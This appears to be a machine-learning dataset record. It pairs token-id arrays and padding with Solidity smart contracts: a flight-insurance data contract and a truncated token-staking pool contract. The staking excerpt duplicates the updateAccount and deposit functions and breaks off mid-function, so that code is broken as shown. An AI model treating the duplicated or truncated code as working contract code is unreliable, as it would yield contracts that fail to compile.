289,
203,
203,
3639,
327,
3626,
1482,
31,
203,
565,
289,
203,
21281,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./FlightSuretyData.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
address private contractOwner; // Account used to deploy contract
bool private operational = true; // Blocks all state changes throughout the contract if false
address[] private registeredAirlines;
struct Airline {
address airlineID;
string airlineName;
bool isRegistered;
bool fundingSubmitted;
uint registrationVotes;
}
struct Flight {
string flight;
bool isRegistered;
uint8 statusCode;
uint256 updatedTimestamp;
address airlineID;
}
struct Insurance {
address insuree;
uint256 amountInsuredFor;
}
mapping(address => bool) private authorizedCallers;
mapping(address => Airline) private airlines;
mapping(bytes32 => bool) private airlineRegistrationVotes;
mapping(bytes32 => Flight) private flights;
mapping(bytes32 => Insurance[]) private policies;
mapping(address => uint256) private credits;
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
event AddedAirline(address airlineID);
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor
(
)
public
{
contractOwner = msg.sender;
authorizedCallers[msg.sender] = true;
}
/** @dev Fallback function for funding smart contract. */
function() external payable {
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
modifier requireAuthorizedCaller() {
require(
authorizedCallers[msg.sender] == true,
"Requires caller is authorized to call this function");
_;
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational()
public
view
requireAuthorizedCaller
returns(bool)
{
return operational;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode
)
external
requireContractOwner
{
operational = mode;
}
function authorizeCaller(address caller) external requireContractOwner {
authorizedCallers[caller] = true;
}
function deauthorizeCaller(address caller) external requireContractOwner {
authorizedCallers[caller] = false;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function addAirline
(
address airlineID,
string airlineName
)
external
requireAuthorizedCaller
requireIsOperational
{
airlines[airlineID] = Airline({
airlineID: airlineID,
airlineName: airlineName,
isRegistered: false,
fundingSubmitted: false,
registrationVotes: 0
});
emit AddedAirline(airlineID);
}
/** @dev Check if airline has been added. */
function hasAirlineBeenAdded(
address airlineID
)
external
view
requireAuthorizedCaller
requireIsOperational
returns (bool)
{
return airlines[airlineID].airlineID == airlineID;
}
/** @dev Add an airline. */
function addToRegisteredAirlines(
address airlineID
)
external
requireAuthorizedCaller
requireIsOperational
{
airlines[airlineID].isRegistered = true;
registeredAirlines.push(airlineID);
}
/** @dev Check if airline has been registered. */
function hasAirlineBeenRegistered(
address airlineID
)
external
view
requireAuthorizedCaller
requireIsOperational
returns (bool)
{
return airlines[airlineID].isRegistered;
}
/** @dev Get all registered airlines. */
function getRegisteredAirlines(
)
external
view
requireAuthorizedCaller
requireIsOperational
returns (address[] memory)
{
return registeredAirlines;
}
function hasAirlineVotedFor(
address airlineVoterID,
address airlineVoteeID
)
external
view
requireAuthorizedCaller
requireIsOperational
returns (bool)
{
bytes32 voteHash = keccak256(
abi.encodePacked(airlineVoterID, airlineVoteeID));
return airlineRegistrationVotes[voteHash] == true;
}
function voteForAirline(
address airlineVoterID,
address airlineVoteeID
)
external
requireAuthorizedCaller
requireIsOperational
returns (uint)
{
bytes32 voteHash = keccak256(
abi.encodePacked(airlineVoterID, airlineVoteeID));
airlineRegistrationVotes[voteHash] = true;
airlines[airlineVoteeID].registrationVotes += 1;
return airlines[airlineVoteeID].registrationVotes;
}
function setFundingSubmitted(
address airlineID
)
external
requireAuthorizedCaller
requireIsOperational
{
airlines[airlineID].fundingSubmitted = true;
}
function addToRegisteredFlights(
address airlineID,
string flight,
uint256 timestamp
)
external
requireAuthorizedCaller
requireIsOperational
{
flights[getFlightKey(airlineID, flight, timestamp)] = Flight({
isRegistered: true,
statusCode: 0, // STATUS_CODE_LATE_AIRLINE
updatedTimestamp: timestamp,
airlineID: airlineID,
flight: flight
});
}
function hasFundingBeenSubmitted(
address airlineID
)
external
view
requireAuthorizedCaller
requireIsOperational
returns (bool)
{
return airlines[airlineID].fundingSubmitted == true;
}
function addToInsurancePolicy(
address airlineID,
string flight,
address _insuree,
uint256 amountToInsureFor
)
external
requireAuthorizedCaller
requireIsOperational
{
policies[keccak256(abi.encodePacked(airlineID, flight))].push(
Insurance({
insuree: _insuree,
amountInsuredFor: amountToInsureFor
})
);
}
/**
* @dev Buy insurance for a flight
*
*/
function buy
(
)
external
payable
{
}
/**
* @dev Credits payouts to insurees
*/
function creditInsurees
(
address airlineID,
string flight,
uint256 creditMultiplier
)
external
requireAuthorizedCaller
requireIsOperational
{
bytes32 policyKey = keccak256(abi.encodePacked(airlineID, flight));
Insurance[] memory policiesToCredit = policies[policyKey];
uint256 currentCredits;
for (uint i = 0; i < policiesToCredit.length; i++) {
currentCredits = credits[policiesToCredit[i].insuree];
// Calculate payout with multiplier and add to existing credits
uint256 creditsPayout = (
policiesToCredit[i].amountInsuredFor.mul(creditMultiplier).div(10));
credits[policiesToCredit[i].insuree] = currentCredits.add(
creditsPayout);
}
delete policies[policyKey];
}
function withdrawCreditsForInsuree(
address insuree
)
external
requireAuthorizedCaller
requireIsOperational
{
uint256 creditsAvailable = credits[insuree];
require(creditsAvailable > 0, "Requires credits are available");
credits[insuree] = 0;
insuree.transfer(creditsAvailable);
}
/**
* @dev Transfers eligible payout funds to insuree
*
*/
function pay
(
)
external
pure
{
}
function getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
internal
requireAuthorizedCaller
requireIsOperational
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
}
|
*******************************************************************************************/ EVENT DEFINITIONS */*******************************************************************************************/
|
event AddedAirline(address airlineID);
| 14,111,857 |
[
1,
4625,
348,
7953,
560,
30,
19756,
19482,
636,
19,
4766,
4202,
9964,
2030,
7263,
7022,
55,
21394,
1195,
11125,
19482,
636,
5549,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
4202,
871,
25808,
29752,
1369,
12,
2867,
23350,
1369,
734,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42/0xC92B724037802B605048e60816Ad4f4410359907/sources/A.sol
|
Demo token contract address reward interval 7 days unstaking possible after 7 days
|
contract Demo_Pool is Ownable {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint256 amount);
address public tokenAddress = 0x5e7AD051409A2266701362035918207BABF0a3F8;
uint256 public rewardInterval = 7 days;
uint256 public cliffTime = 7 days;
uint256 public rewardToken;
uint256 public periodStartedat;
uint256 public totalClaimedRewards;
uint256 public totalDepositedToken;
bool public farmEnabled = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint256) public depositedTokens;
mapping (address => uint256) public stakingTime;
mapping (address => uint256) public totalEarnedTokens;
function updateAccount(address account) private {
uint256 pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(block.timestamp.sub(periodStartedat) >= cliffTime.sub(1 days), "You need to wait minimum 6 day before claim.");
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
rewardToken = rewardToken.sub(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
}
function updateAccount(address account) private {
uint256 pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(block.timestamp.sub(periodStartedat) >= cliffTime.sub(1 days), "You need to wait minimum 6 day before claim.");
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
rewardToken = rewardToken.sub(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
}
function getPendingDivs(address _holder) public view returns (uint256 _pendingDivs) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint256 pendingDivs = rewardToken.mul(depositedTokens[_holder]).div(totalDepositedToken);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint256) {
return holders.length();
}
function deposit(uint256 amountToStake) public {
require(farmEnabled, "Farming not enabled yet");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalDepositedToken = totalDepositedToken.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = block.timestamp;
}
}
function deposit(uint256 amountToStake) public {
require(farmEnabled, "Farming not enabled yet");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalDepositedToken = totalDepositedToken.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = block.timestamp;
}
}
function emergencyWithdrawal() public {
require(Token(tokenAddress).transfer(msg.sender, depositedTokens[msg.sender]), "Could not transfer tokens.");
totalDepositedToken = totalDepositedToken.sub(depositedTokens[msg.sender]);
depositedTokens[msg.sender] = 0;
holders.remove(msg.sender);
}
function withdraw(uint256 amountToWithdraw) public {
